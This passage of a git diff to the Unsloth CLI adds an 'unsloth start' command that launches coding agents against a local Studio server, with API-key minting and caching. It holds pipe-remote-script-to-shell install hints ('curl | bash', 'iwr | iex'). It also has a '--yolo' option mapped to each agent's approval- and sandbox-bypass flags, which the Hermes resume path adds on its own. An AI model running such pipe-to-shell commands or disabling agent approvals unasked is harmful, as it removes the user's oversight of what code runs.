-    """Point OpenAI Codex at the running Studio server and start it."""
-    base, key, entry = _connect(api_key, model)
-    _require_gguf_for_codex(base, key, entry["id"])
-    write_codex_config(base, entry)
-
-    env = {_CODEX_ENV_KEY: key}
-    command = ["codex", "--oss", "--profile", _CODEX_PROFILE, *ctx.args]
-    _run(base, entry, env, command, launch = launch, install_hint = "npm install -g @openai/codex")
-
-
-@connect_app.command("openclaw", context_settings = _PASSTHROUGH)
-def openclaw(
-    ctx: typer.Context,
-    model: Optional[str] = _MODEL_OPTION,
-    api_key: Optional[str] = _KEY_OPTION,
-    launch: bool = _LAUNCH_OPTION,
-):
-    """Point OpenClaw at the running Studio server and start it."""
-    base, key, entry = _connect(api_key, model)
-    write_openclaw_config(base, key, entry)  # key lives in the config, not the env
-
-    command = ["openclaw", *ctx.args]
-    install_hint = (
-        "iwr -useb https://openclaw.ai/install.ps1 | iex"
-        if os.name == "nt"
-        else "curl -fsSL https://openclaw.ai/install.sh | bash"
-    )
-    _run(base, entry, {}, command, launch = launch, install_hint = install_hint)
-
-
-@connect_app.command("opencode", context_settings = _PASSTHROUGH)
-def opencode(
-    ctx: typer.Context,
-    model: Optional[str] = _MODEL_OPTION,
-    api_key: Optional[str] = _KEY_OPTION,
-    launch: bool = _LAUNCH_OPTION,
-):
-    """Point OpenCode at the running Studio server and start it."""
-    base, key, entry = _connect(api_key, model)
-    write_opencode_config(base, key, entry)  # key lives in the config, not the env
-
-    command = ["opencode", *ctx.args]
-    _run(base, entry, {}, command, launch = launch, install_hint = "npm install -g opencode-ai")
-
-
-@connect_app.command("hermes", context_settings = _PASSTHROUGH)
-def hermes(
-    ctx: typer.Context,
-    model: Optional[str] = _MODEL_OPTION,
-    api_key: Optional[str] = _KEY_OPTION,
-    launch: bool = _LAUNCH_OPTION,
-):
-    """Point Hermes (Nous Research) at the running Studio server and start it."""
-    base, key, entry = _connect(api_key, model)
-    write_hermes_config(base, entry)
-
-    env = {_HERMES_ENV_KEY: key}
-    command = ["hermes", *ctx.args]
-    install_hint = (
-        "curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent"
-        "/main/scripts/install.sh | bash"
-    )
-    _run(base, entry, env, command, launch = launch, install_hint = install_hint)
diff --git a/unsloth_cli/commands/inference.py b/unsloth_cli/commands/inference.py
index 1401fa9e9e..84a126163e 100644
--- a/unsloth_cli/commands/inference.py
+++ b/unsloth_cli/commands/inference.py
@@ -6,9 +6,13 @@ from typing import List, Optional
 import typer
 
 from unsloth_cli._inference import (
+    collect_stream,
     configure_quiet_logging,
     connect_studio_server,
     load_chat_backend,
+    mlx_distributed_info,
+    mlx_distributed_uses_mpi,
+    raise_on_streamed_error,
     stream_to_stdout,
 )
 
@@ -36,7 +40,8 @@ def inference(
         "--tensor-parallel/--no-tensor-parallel",
         help = (
             "Split a GGUF across GPUs by tensor (--split-mode tensor) instead "
-            "of by layer. Ignored for non-GGUF models."
+            "of by layer. Under non-MPI mlx.launch, select MLX tensor "
+            "parallel mode instead of pipeline mode."
         ),
     ),
     llama_extra_args: Optional[List[str]] = typer.Option(
@@ -69,8 +74,20 @@ def inference(
     if not verbose:
         configure_quiet_logging()
 
-    # A running Studio server keeps the model warm between runs, which is
-    # exactly what a one-shot command wants.
+    is_mlx_distributed, rank, _world_size = mlx_distributed_info()
+    if is_mlx_distributed and mlx_distributed_uses_mpi():
+        if rank == 0:
+            typer.echo(
+                "Distributed `unsloth inference` with MPI is not supported by "
+                "the current subprocess backend. Use a non-MPI MLX launcher "
+                "backend such as ring/JACCL for now.",
+                err = True,
+            )
+        raise typer.Exit(code = 1)
+
+    # A running Studio server keeps the model warm between runs. Under
+    # mlx.launch, every rank must enter the local MLX path instead of rank 0
+    # alone talking to a server.
     load_opts = dict(
         hf_token = hf_token,
         max_seq_length = max_seq_length,
@@ -78,7 +95,9 @@ def inference(
         tensor_parallel = tensor_parallel,
         llama_extra_args = llama_extra_args,
     )
-    chat_backend = None if no_server else connect_studio_server(model, **load_opts)
+    chat_backend = (
+        None if (no_server or is_mlx_distributed) else connect_studio_server(model, **load_opts)
+    )
     if chat_backend is None:
         chat_backend = load_chat_backend(model, **load_opts)
     try:
@@ -92,7 +111,23 @@ def inference(
             repetition_penalty = repetition_penalty,
             enable_thinking = think,
         )
-        typer.echo("Assistant:")
-        stream_to_stdout(stream, show_thinking = think)
+        if is_mlx_distributed:
+            stream = raise_on_streamed_error(stream)
+        if rank == 0:
+            typer.echo("Assistant:")
+            try:
+                stream_to_stdout(stream, show_thinking = think)
+            except RuntimeError as exc:
+                if not is_mlx_distributed:
+                    raise
+                typer.echo(f"Error: {exc}", err = True)
+                raise typer.Exit(code = 1)
+        else:
+            try:
+                collect_stream(stream, show_thinking = think)
+            except RuntimeError:
+                if not is_mlx_distributed:
+                    raise
+                raise typer.Exit(code = 1)
     finally:
         chat_backend.close()
diff --git a/unsloth_cli/commands/start.py b/unsloth_cli/commands/start.py
new file mode 100644
index 0000000000..fa39fdf761
--- /dev/null
+++ b/unsloth_cli/commands/start.py
@@ -0,0 +1,1958 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""`unsloth start` — launch a coding agent against a running Studio server."""
+
+import atexit
+import contextlib
+import json
+import os
+import re
+import shlex
+import shutil
+import signal
+import subprocess
+import sys
+import tempfile
+import time
+import urllib.error
+import urllib.request
+from pathlib import Path
+from typing import NamedTuple, NoReturn, Optional
+from urllib.parse import urlparse
+
+import click
+import typer
+
+from unsloth_cli._inference import (
+    _USER_AGENT,
+    _studio_token,
+    ensure_studio_backend_path,
+    find_studio_server,
+    is_loopback_url,
+    urlopen_no_redirect,
+    verify_studio_identity,
+)
+
+start_app = typer.Typer(
+    help = "Start a coding agent against a running Studio server.",
+    no_args_is_help = True,
+    context_settings = {"help_option_names": ["-h", "--help"]},
+)
+
+_CODEX_PROFILE = "unsloth_api"
+_CODEX_ENV_KEY = "UNSLOTH_STUDIO_AUTH_TOKEN"
+_HERMES_ENV_KEY = "UNSLOTH_API_KEY"
+_HERMES_PROVIDER = "unsloth"
+# Skip the installer's interactive setup wizard: `unsloth start hermes` runs
+# this hint unattended and then writes its own session-scoped Hermes config, so
+# the wizard's global API-key/model prompts would block the launch and point the
+# user at a different (global) provider than the one Unsloth just configured.
+# Both installers expose a skip flag: `-SkipSetup` (PowerShell) and
+# `--skip-setup` (POSIX; passed to the piped script via `bash -s --`).
+_HERMES_WINDOWS_INSTALL_HINT = (
+    "& ([scriptblock]::Create((irm https://hermes-agent.nousresearch.com/install.ps1))) -SkipSetup"
+)
+_HERMES_POSIX_INSTALL_HINT = (
+    "curl -fsSL https://raw.githubusercontent.com/NousResearch/hermes-agent"
+    "/main/scripts/install.sh | bash -s -- --skip-setup"
+)
+# Hermes refuses to initialize when the model window is under 64,000 tokens; its
+# error message points at the model.context_length / auxiliary.compression
+# overrides in config.yaml. write_hermes_config claims this value for smaller
+# windows and scales the compaction threshold back down to the real window.
+_HERMES_MIN_CONTEXT = 65536
+_PI_PROVIDER = "unsloth"
+# OpenCode selects a model by "<providerID>/<modelID>" and honors a user
+# disabled_providers list. Register the session provider under a dedicated id a
+# user's disable list would never target, so the model is always selectable
+# without the wrapper having to reconstruct (and override) OpenCode's full,
+# multi-layer disabled_providers resolution.
+_OPENCODE_PROVIDER = "unsloth-studio"
+_PROVIDER_HEADER = f"[model_providers.{_CODEX_PROFILE}]"
+_PASSTHROUGH = {"allow_extra_args": True, "ignore_unknown_options": True}
+_CLAUDE_ENV_UNSET = ("ANTHROPIC_API_KEY", "CLAUDE_CODE_OAUTH_TOKEN")
+
+# Shared by every agent command; only the config/env/command differ.
+_MODEL_OPTION = typer.Option(
+    None, "--model", "-m", help = "Model for the agent; defaults to the one loaded in Studio."
+)
+_KEY_OPTION = typer.Option(
+    None,
+    "--api-key",
+    envvar = "UNSLOTH_API_KEY",
+    help = (
+        "Studio API key. For a local Studio it is minted automatically and "
+        "remembered per server. For a remote server, pass one with --api-key "
+        "(or UNSLOTH_API_KEY); it is remembered for next time."
+    ),
+)
+_LAUNCH_OPTION = typer.Option(
+    True,
+    "--launch/--no-launch",
+    help = "--no-launch prints the env and command instead (remote shells, WSL).",
+)
+_SERVE_OPTION = typer.Option(
+    True,
+    "--serve/--no-serve",
+    help = (
+        "If no Studio server is running, auto-start one for --model and stop it when the "
+        "agent exits. --no-serve keeps the old behavior of erroring out."
+    ),
+)
+# Model-load knobs mirrored from `unsloth run`; only used when --model triggers a
+# load on the server. Server-startup flags (--host/--port/--cloudflare/...) do not
+# apply here because `unsloth start` attaches to an already-running server.
+_GGUF_VARIANT_OPTION = typer.Option(
+    None, "--gguf-variant", help = "GGUF quant variant to load (e.g. UD-Q4_K_XL)."
+)
+_CONTEXT_OPTION = typer.Option(
+    0,
+    "--max-seq-length",
+    "--context-length",
+    help = "Context length in tokens for the load (0 = model default).",
+)
+_LOAD_4BIT_OPTION = typer.Option(
+    True, "--load-in-4bit/--no-load-in-4bit", help = "Load hub models in 4-bit (ignored for GGUF)."
+)
+_TENSOR_PARALLEL_OPTION = typer.Option(
+    False,
+    "--tensor-parallel/--no-tensor-parallel",
+    help = "Split a GGUF across GPUs by tensor instead of by layer (multi-GPU only).",
+)
+# One normalized "run tools without prompting" switch. Each agent spells this
+# differently and it's easy to forget which is which, so accept every spelling and
+# route to the agent's own mechanism in _yolo_command_flags / the config writers.
+_YOLO_OPTION = typer.Option(
+    False,
+    "--yolo",
+    "--dangerously-skip-permissions",
+    "--dangerously-bypass-approvals-and-sandbox",
+    help = (
+        "Auto-approve all tool actions for this session; routed to the agent's own "
+        "flag/config. Any of the three spellings works for any agent."
+    ),
+)
+_PERSIST_OPTION = typer.Option(
+    False,
+    "--persist/--no-persist",
+    help = (
+        "Keep this agent's Unsloth-managed session dir so you can resume it later. "
+        "codex/openclaw/hermes/pi have their whole home relocated into an Unsloth dir "
+        "that is a throwaway temp dir (wiped on exit) by default; with --persist it "
+        "lives under the Unsloth agents dir and survives, so their own resume can reopen "
+        "it. claude and opencode keep sessions in your own stores (~/.claude, "
+        "~/.local/share/opencode), so they already resume regardless. To reopen a "
+        "session, pass the agent's own resume command through, e.g. "
+        "`unsloth start codex --persist resume` or `claude --resume <id>`; those flow to "
+        "the agent unchanged."
+    ),
+)
+
+# Per-agent CLI flag for "run tools without prompting". opencode and openclaw have no
+# such flag (config only) and are handled in their config writers, so they are absent.
+_YOLO_COMMAND_FLAGS = {
+    "claude": ["--dangerously-skip-permissions"],
+    "codex": ["--dangerously-bypass-approvals-and-sandbox"],
+    "hermes": ["--yolo"],
+    # Pi never prompts per tool call; its only approval gate is project trust, so -a
+    # (trust project resources) is the closest "don't ask me" equivalent.
+    "pi": ["--approve"],
+}
+
+
+def _yolo_command_flags(agent: str, yolo: bool) -> list:
+    # .get so a config-based agent (or a typo) yields no flag instead of a KeyError.
+    return _YOLO_COMMAND_FLAGS.get(agent, []) if yolo else []
+
+
+def _hermes_install_hint() -> str:
+    return _HERMES_WINDOWS_INSTALL_HINT if os.name == "nt" else _HERMES_POSIX_INSTALL_HINT
+
+
+def _hermes_resume_oneshot_args(args: list[str]) -> list[str]:
+    """Route resumed one-shot prompts through Hermes' session-aware chat command."""
+    has_resume = any(
+        arg in ("--resume", "-r", "--continue", "-c")
+        or arg.startswith(("--resume=", "--continue="))
+        or (len(arg) > 2 and arg.startswith(("-r", "-c")))
+        for arg in args
+    )
+    if not has_resume:
+        return args
+
+    rewritten = list(args)
+    for index, arg in enumerate(rewritten):
+        if arg in ("-z", "--oneshot"):
+            rewritten[index] = "-q"
+        elif len(arg) > 2 and arg.startswith("-z"):
+            # argparse accepts attached short-option values (`-zPROMPT` and
+            # `-z=PROMPT`); preserve the value byte-for-byte when switching to -q.
+            rewritten[index] = f"-q{arg[2:]}"
+        elif arg.startswith("--oneshot="):
+            rewritten[index] = f"--query={arg.partition('=')[2]}"
+        else:
+            continue
+        if any(item == "--usage-file" or item.startswith("--usage-file=") for item in args):
+            raise typer.BadParameter(
+                "Hermes cannot resume a one-shot session with --usage-file; remove that option."
+            )
+        prefix = ["chat", "-Q"]
+        if "--yolo" not in rewritten:
+            prefix.append("--yolo")
+        if "--accept-hooks" not in rewritten:
+            prefix.append("--accept-hooks")
+        rewritten = prefix + rewritten
+        return rewritten
+    return args
+
+
+class LoadOptions(NamedTuple):
+    """Model-load knobs forwarded to /api/inference/load when --model triggers a load."""
+
+    gguf_variant: Optional[str] = None
+    max_seq_length: int = 0
+    load_in_4bit: bool = True
+    tensor_parallel: bool = False
+
+
+def _split_repo_variant(model: str) -> tuple:
+    """Split ``org/name:QUANT`` into ``(repo, variant)`` -> ``("org/name", "QUANT")``.
+
+    ``unsloth run`` and llama.cpp accept ``--model org/name:QUANT`` as shorthand for
+    ``--model org/name --gguf-variant QUANT``. Mirror that here so a ``:variant`` suffix
+    resolves against the already-loaded ``org/name`` (which /v1/models lists without the
+    suffix) instead of trying to load a repo id containing ``:`` -- which Hugging Face
+    rejects, and which would evict a model another session is using. Local paths, Windows
+    drive letters, and ids without a ``:`` pass through unchanged.
+    """
+    s = (model or "").strip()
+    if not s or s.startswith(("/", "./", "../", "~")) or s == ".":
+        return s, None
+    if len(s) >= 2 and s[1] == ":" and s[0].isalpha():  # Windows drive, e.g. C:\models\x
+        return s, None
+    if ":" not in s:
+        return s, None
+    repo, _, variant = s.rpartition(":")
+    if not repo or not variant or "/" in variant:
+        return s, None
+    return repo, variant
+
+
+def _fail(message: str) -> NoReturn:
+    typer.echo(message, err = True)
+    raise typer.Exit(code = 1)
+
+
+def _http_error_detail(exc: urllib.error.HTTPError) -> str:
+    try:
+        body = json.loads(exc.read().decode())
+        return body.get("detail") or body["error"]["message"]
+    except Exception:
+        return str(exc)
+
+
+def _http_json(
+    method: str,
+    url: str,
+    token: str,
+    payload = None,
+    timeout = 30,
+    error = None,
+):
+    """On HTTPError: raise if `error` is None, else fail with `error` plus the server's detail."""
+    request = urllib.request.Request(
+        url,
+        data = None if payload is None else json.dumps(payload).encode(),
+        headers = {
+            "Authorization": f"Bearer {token}",
+            "Content-Type": "application/json",
+            "User-Agent": _USER_AGENT,
+        },
+        method = method,
+    )
+    try:
+        # No redirects: a 3xx would leak this bearer token to an unvetted base.
+        with urlopen_no_redirect(request, timeout = timeout) as response:
+            return json.loads(response.read().decode() or "{}")
+    except urllib.error.HTTPError as exc:
+        if error is None:
+            raise
+        _fail(f"{error}: {_http_error_detail(exc)}")
+    except (urllib.error.URLError, TimeoutError) as exc:
+        if error is None:
+            raise
+        _fail(f"{error}: {getattr(exc, 'reason', None) or exc}")
+
+
+# A server that WE auto-started (never one we merely found). Kept at module scope so
+# _run's finally and the atexit backstop can tear it down without threading a handle
+# through all six agent commands. Only one agent runs per process, so one slot is enough.
+_auto_served_server: Optional[subprocess.Popen] = None
+# Model download + load can be slow; give the auto-started server room before giving up.
+_SERVER_START_TIMEOUT_S = 900
+
+
+def _studio_healthy(base: str, timeout: float = 3.0) -> bool:
+    request = urllib.request.Request(f"{base}/api/health", headers = {"User-Agent": _USER_AGENT})
+    try:
+        with urllib.request.urlopen(request, timeout = timeout) as response:
+            return json.loads(response.read(65536).decode() or "{}").get("status") == "healthy"
+    except Exception:
+        return False
+
+
+def _log_tail(path: Path, lines: int = 20) -> str:
+    try:
+        return "\n".join(path.read_text(encoding = "utf-8", errors = "replace").splitlines()[-lines:])
+    except OSError:
+        return "(no server log)"
+
+
+def _shutdown_server(server: Optional[subprocess.Popen]) -> None:
+    # Idempotent teardown of a server WE started, plus its own children (llama-server,
+    # cloudflared). A no-op once the process is already gone.
+    if server is None or server.poll() is not None:
+        return
+    if os.name == "nt":
+        # terminate()/kill() reach only the parent `unsloth run`; taskkill /T walks the
+        # whole tree so the llama-server child doesn't keep the port and GPU (matches the
+        # taskkill /T /F pattern already used in unsloth/dataprep/synthetic.py).
+        try:
+            subprocess.run(
+                ["taskkill", "/PID", str(server.pid), "/T", "/F"],
+                capture_output = True,
+                timeout = 15,
+                check = False,
+            )
+            server.wait(timeout = 5)
+        except Exception:
+            with contextlib.suppress(Exception):
+                server.kill()
+        return
+    try:
+        os.killpg(os.getpgid(server.pid), signal.SIGTERM)
+    except OSError:
+        server.terminate()
+    try:
+        server.wait(timeout = 15)
+    except Exception:
+        try:
+            os.killpg(os.getpgid(server.pid), signal.SIGKILL)
+        except OSError:
+            server.kill()
+
+
+def _shutdown_auto_served() -> None:
+    global _auto_served_server
+    server, _auto_served_server = _auto_served_server, None
+    if server is not None and server.poll() is None:
+        typer.echo("Stopping the auto-started Studio server…")
+        _shutdown_server(server)
+
+
+def _start_studio_server(base: str, model: str, load: LoadOptions) -> subprocess.Popen:
+    """Spawn `unsloth run` for `model`, wait until it is fully ready, and return it."""
+    global _auto_served_server
+    unsloth = shutil.which("unsloth") or "unsloth"
+    parsed = urlparse(base)
+    # --disable-tools = passthrough mode (relay the agent's own tools); --no-cloudflare =
+    # loopback only, no tunnel. Mirrors .github/scripts/serve-unsloth-run.sh.
+    command = [
+        unsloth,
+        "run",
+        "-H",
+        parsed.hostname or "127.0.0.1",
+        "-p",
+        str(parsed.port or 8888),
+        "--disable-tools",
+        "--no-cloudflare",
+        "--model",
+        model,
+    ]
+    if load.gguf_variant:
+        command += ["--gguf-variant", load.gguf_variant]
+    if load.max_seq_length:
+        command += ["--context-length", str(load.max_seq_length)]
+    if not load.load_in_4bit:
+        command += ["--no-load-in-4bit"]
+    if load.tensor_parallel:
+        command += ["--tensor-parallel"]
+
+    log_path = Path(tempfile.gettempdir()) / f"unsloth-start-server-{os.getpid()}.log"
+    typer.echo(
+        f"No Studio server at {base}. Starting one for {model} (loading the model can take a while)…"
+    )
+    typer.echo(f"Server log: {log_path}")
+    # 0600: the `unsloth run` banner in this log carries the minted sk-unsloth- key, and
+    # the tempdir is world-traversable. Unlink first so a stale looser-mode file (pid
+    # reuse) can't survive with its old permissions.
+    log_path.unlink(missing_ok = True)
+    log = os.fdopen(os.open(log_path, os.O_WRONLY | os.O_CREAT | os.O_EXCL, 0o600), "wb")
+    # Own session/process group so a mid-session Ctrl+C (cancel a turn) doesn't reach the
+    # server; we tear it down explicitly when the agent exits.
+    kwargs: dict = {"stdout": log, "stderr": subprocess.STDOUT, "stdin": subprocess.DEVNULL}
+    if os.name == "nt":
+        kwargs["creationflags"] = subprocess.CREATE_NEW_PROCESS_GROUP
+    else:
+        kwargs["start_new_session"] = True
+    try:
+        server = subprocess.Popen(command, **kwargs)
+    finally:
+        log.close()  # Popen dup'd the fd; drop the parent's copy
+    _auto_served_server = server
+    atexit.register(_shutdown_auto_served)
+
+    deadline = time.monotonic() + _SERVER_START_TIMEOUT_S
+    while time.monotonic() < deadline:
+        if server.poll() is not None:
+            tail = _log_tail(log_path)
+            _shutdown_auto_served()
+            _fail(f"The Studio server stopped before it was ready. Last log lines:\n{tail}")
+        # `unsloth run` prints the minted key only after the server is up AND the model is
+        # loaded, so it is the fully-ready signal (same contract serve-unsloth-run.sh uses).
+        if _studio_healthy(base) and "sk-unsloth-" in _log_tail(log_path, lines = 400):
+            typer.echo(f"Studio server ready at {base}.")
+            return server
+        time.sleep(2.0)
+    _shutdown_auto_served()
+    _fail(
+        f"The Studio server didn't become ready within {_SERVER_START_TIMEOUT_S}s. See {log_path}."
+    )
+
+
+def _effective_base(base: str) -> str:
+    # `unsloth run` binds to `parsed.port or 8888` and serves at the root, so normalize
+    # UNSLOTH_STUDIO_URL to plain scheme://host:port. A portless http://127.0.0.1 would
+    # otherwise launch on 8888 but poll port 80, and a path like /studio would poll
+    # /studio/api/health (404) -- either way hitting the startup timeout. IPv6 literals
+    # stay bracketed.
+    parsed = urlparse(base)
+    host = parsed.hostname or "127.0.0.1"
+    if ":" in host:  # bare IPv6 literal (urlparse strips the brackets)
+        host = f"[{host}]"
+    return f"{parsed.scheme or 'http'}://{host}:{parsed.port or 8888}"
+
+
+def _require_studio(
+    model: Optional[str] = None,
+    load: Optional[LoadOptions] = None,
+    *,
+    serve: bool = False,
+    launch: bool = True,
+) -> tuple:
+    """Return (base, server). server is a Popen only when WE auto-started it."""
+    base = find_studio_server()
+    if base is not None:
+        return base, None
+    expected = os.environ.get("UNSLOTH_STUDIO_URL", "http://127.0.0.1:8888").rstrip("/")
+    # Auto-start a local server only for an interactive launch with a model to serve, and
+    # only for a plain-HTTP loopback target: never stand in for an explicit remote
+    # UNSLOTH_STUDIO_URL, and never for an https:// one -- `unsloth run` serves plain
+    # HTTP, so the health poll against https would spin until the startup timeout.
+    if (
+        serve
+        and launch
+        and model
+        and is_loopback_url(expected)
+        and urlparse(expected).scheme == "http"
+    ):
+        # Normalize to the port unsloth run actually binds, so the health poll and the
+        # returned base hit the same server we launch (not a portless :80).
+        expected = _effective_base(expected)
+        return expected, _start_studio_server(expected, model, load or LoadOptions())
+    model_hint = "" if model else " Pass --model to have it start one for you, or"
+    _fail(
+        f"No running Studio server found at {expected}.{model_hint} start one with "
+        "`unsloth studio`, or point UNSLOTH_STUDIO_URL at a remote server."
+    )
+
+
+def _key_cache_path() -> Path:
+    ensure_studio_backend_path()
+    from utils.paths import auth_root
+    return auth_root() / "agent_api_key.json"
+
+
+def _read_cache(cache: Path) -> dict:
+    try:
+        data = json.loads(cache.read_text(encoding = "utf-8"))
+    except Exception:
+        return {}
+    return data if isinstance(data, dict) else {}
+
+
+def _server_buckets(servers: dict, base: str) -> dict:
+    # Normalise a server's entry to {"saved": [...], "minted": [...]}, tolerating a
+    # corrupt/legacy value (bare string/list -> treated as minted, behind the handshake).
+    entry = servers.get(base) if isinstance(servers, dict) else None
+    if isinstance(entry, list):
+        return {"saved": [], "minted": [k for k in entry if isinstance(k, str)]}
+    if not isinstance(entry, dict):
+        return {"saved": [], "minted": []}
+
+    def _strs(name: str) -> list:
+        value = entry.get(name)
+        return [k for k in value if isinstance(k, str)] if isinstance(value, list) else []
+
+    return {"saved": _strs("saved"), "minted": _strs("minted")}
+
+
+def _cached_keys(cache: Path, base: str, source: str) -> list:
+    # Keys are scoped per server. `source` splits user-supplied --api-key keys
+    # ("saved", trusted for that base) from auto-minted ones ("minted", replayed
+    # only after the identity check). Legacy unscoped caches are ignored.
+    return _server_buckets(_read_cache(cache).get("servers", {}), base)[source]
+
+
+def _write_private_json(path: Path, data: dict) -> None:
+    # O_CREAT with 0o600 so a file holding an API key is never world-readable,
+    # even briefly (existing files keep whatever perms the user set).
+    path.parent.mkdir(parents = True, exist_ok = True, mode = 0o700)
+    fd = os.open(path, os.O_WRONLY | os.O_CREAT | os.O_TRUNC, 0o600)
+    with os.fdopen(fd, "w") as handle:
+        handle.write(json.dumps(data, indent = 2) + "\n")
+
+
+def _read_json_object(path: Path) -> Optional[dict]:
+    # {} when missing, None when it can't be parsed as an object (so the caller
+    # leaves a user-managed file untouched rather than clobbering it).
+    if not path.exists():
+        return {}
+    try:
+        data = json.loads(path.read_text(encoding = "utf-8"))
+    except (ValueError, OSError):
+        return None
+    return data if isinstance(data, dict) else None
+
+
+def _subdict(parent: dict, key: str) -> dict:
+    child = parent.get(key)
+    if not isinstance(child, dict):
+        child = parent[key] = {}
+    return child
+
+
+def _remember_key(cache: Path, base: str, key: str, source: str) -> None:
+    data = _read_cache(cache)
+    servers = data.get("servers")
+    if not isinstance(servers, dict):
+        servers = data["servers"] = {}
+    buckets = _server_buckets(servers, base)
+    other = "minted" if source == "saved" else "saved"
+    buckets[source] = ([key] + [k for k in buckets[source] if k != key])[:8]
+    buckets[other] = [k for k in buckets[other] if k != key]  # a key has one provenance
+    new_entry = {"saved": buckets["saved"], "minted": buckets["minted"]}
+    if servers.get(base) == new_entry:
+        return
+    servers[base] = new_entry
+    # Collapse legacy unscoped fields.
+    data.pop("keys", None)
+    data.pop("key", None)
+    try:
+        _write_private_json(cache, data)
+    except OSError:
+        pass  # worst case the next launch mints another key
+
+
+def _key_accepted(base: str, key: str) -> bool:
+    # Only a genuine auth rejection (401/403) means "this key is bad -- skip it and try
+    # the next cached key or mint a fresh one". A 5xx or a network blip is a server-side
+    # outage, not a bad key: fail with a clean message (never a traceback) instead of
+    # silently discarding a working key and minting extras against a struggling server.
+    try:
+        _http_json("GET", f"{base}/v1/models", key)
+        return True
+    except urllib.error.HTTPError as exc:
+        if exc.code in (401, 403):
+            return False
+        _fail(
+            f"Studio server error while checking an API key ({exc.code}). "
+            "The server may be starting up or unhealthy; try again shortly."
+        )
+    except (urllib.error.URLError, TimeoutError) as exc:
+        _fail(
+            "Couldn't reach the Studio server while checking an API key: "
+            f"{getattr(exc, 'reason', None) or exc}"
+        )
+
+
+def _agent_api_key(
+    base: str,
+    explicit: Optional[str],
+    *,
+    auto_started: bool = False,
+) -> str:
+    cache = _key_cache_path()
+    if explicit:
+        if not auto_started or _key_accepted(base, explicit):
+            _remember_key(cache, base, explicit, "saved")
+            return explicit
+        # The server was auto-started for this run, so an exported
+        # UNSLOTH_API_KEY meant for some other server must not fail the
+        # launch: the loopback mint path below is guaranteed to work.
+        # (An explicit key that the fresh server accepts, e.g. one persisted
+        # in this Studio home's auth db, is still honored above.)
+
+    # Replay a key the user saved for *this exact* server first (scoped per base,
+    # so it only goes back there -- including a remote/SSH-tunnelled Studio whose
+    # secret the local handshake can't match). Skip ones the server rejects.
+    for key in _cached_keys(cache, base, "saved"):
+        if _key_accepted(base, key):
+            _remember_key(cache, base, key, "saved")
+            return key
+
+    # Beyond here we auto-mint or replay an auto-minted key. find_studio_server()
+    # trusts a base after only a health check, so both are limited to a loopback
+    # server we can cryptographically confirm is ours.
+    if not is_loopback_url(base):
+        _fail(
+            f"No saved API key for {base} and automatic minting only runs against "
+            "a local Studio. Create an API key in Studio → Settings → API and "
+            "pass it with --api-key (it is remembered per server), or set "
+            "UNSLOTH_API_KEY."
+        )
+    if not verify_studio_identity(base):
+        _fail(
+            f"Couldn't verify that {base} is your Studio (it may be running as a "
+            "different OS user, or another process took the port). Create an API "
+            "key in Studio → Settings → API and pass it with --api-key, or set "
+            "UNSLOTH_API_KEY."
+        )
+
+    # Identity verified: replay a previously auto-minted key, else mint a new one.
+    for key in _cached_keys(cache, base, "minted"):
+        if _key_accepted(base, key):
+            _remember_key(cache, base, key, "minted")
+            return key
+
+    # Self-issue a JWT (signed with the local secret) and mint a key.
+    token = _studio_token()
+    if token is None:
+        _fail(
+            "Couldn't authenticate with the Studio server automatically. Create "
+            "an API key in Studio → Settings → API and pass it with --api-key, "
+            "or set UNSLOTH_API_KEY."
+        )
+    key = _http_json(
+        "POST",
+        f"{base}/api/auth/api-keys",
+        token,
+        {"name": "Coding agents (unsloth start)"},
+        error = "Couldn't create an API key",
+    )["key"]
+    _remember_key(cache, base, key, "minted")
+    return key
+
+
+def _loaded_models(base: str, key: str) -> list:
+    return _http_json("GET", f"{base}/v1/models", key, error = "Couldn't list models").get("data", [])
+
+
+_HF_REPO_ID_SEGMENT_RE = re.compile(r"^[A-Za-z0-9._-]+$")
+
+
+def _is_hub_model_id(value: object) -> bool:
+    if not isinstance(value, str):
+        return False
+    text = value.strip()
+    if "\\" in text:
+        return False
+    if text.startswith(("/", "./", "../", "~")):
+        return False
+    if len(text) >= 2 and text[1] == ":" and text[0].isalpha():
+        return False
+    # A hub id is exactly "namespace/name" over a restricted charset. Anything with
+    # extra path segments (e.g. a server-side relative path such as
+    # models/Llama/Foo.gguf on a remote Studio) is not a hub id and must not be
+    # casefold-matched against a differently cased path on a case-sensitive
+    # filesystem. This is host independent, unlike the existence probe below which
+    # cannot see a path that only exists on the server.
+    parts = text.split("/")
+    if len(parts) != 2:
+        return False
+    if any(part in ("", ".", "..") or not _HF_REPO_ID_SEGMENT_RE.match(part) for part in parts):
+        return False
+    try:
+        if Path(os.path.expanduser(text)).exists():
+            return False
+    except OSError:
+        return False
+    return True
+
+
+def _model_id_matches(
+    actual: object,
+    requested: object,
+    *,
+    allow_casefold: bool = True,
+) -> bool:
+    if actual == requested:
+        return True
+    # Case-insensitive matching is only safe when the local existence probe in
+    # _is_hub_model_id is authoritative, i.e. against a loopback Studio on this host.
+    # Against a remote Studio a two-segment string is indistinguishable from a
+    # server-side relative path (e.g. Models/Foo vs models/foo), so casefolding it
+    # could attach to the wrong model on a case-sensitive server; defer to an exact
+    # match there and let the load endpoint resolve the requested path.
+    if not allow_casefold:
+        return False
+    if not (_is_hub_model_id(actual) and _is_hub_model_id(requested)):
+        return False
+    return str(actual).casefold() == str(requested).casefold()
+
+
+def _resolve_model(
+    base: str,
+    key: str,
+    requested: Optional[str],
+    load: LoadOptions = LoadOptions(),
+) -> dict:
+    models = _loaded_models(base, key)
+    # Only casefold-match ids against a loopback Studio, where _is_hub_model_id's
+    # local existence probe can actually reject a server-side path; see the note there.
+    allow_casefold = is_loopback_url(base)
+    # /v1/models reports the model id but not the active GGUF variant or runtime load
+    # settings, so an id match alone can hide the wrong quant (Q8_0 serving while the
+    # user asked for UD-Q4_K_XL). When the user passed any explicit load knob, defer to
+    # /api/inference/load: the server's already-loaded dedup answers "already_loaded"
+    # without reloading when the variant AND settings match, so a second session running
+    # the same command still attaches without evicting the first.
+    load_has_overrides = bool(
+        load.gguf_variant or load.max_seq_length or not load.load_in_4bit or load.tensor_parallel
+    )
+    # /v1/models also lists cached-but-unloaded catalog entries (loaded == False);
+    # matching one would skip /api/inference/load and leave the agent pointed at a
+    # model that is not resident, so only attach to an entry that is actually loaded.
+    match = (
+        None
+        if requested and load_has_overrides
+        else next(
+            (
+                m
+                for m in models
+                if _model_id_matches(m.get("id"), requested, allow_casefold = allow_casefold)
+                and m.get("loaded") is not False
+            ),
+            None,
+        )
+    )
+    if requested and match is None:
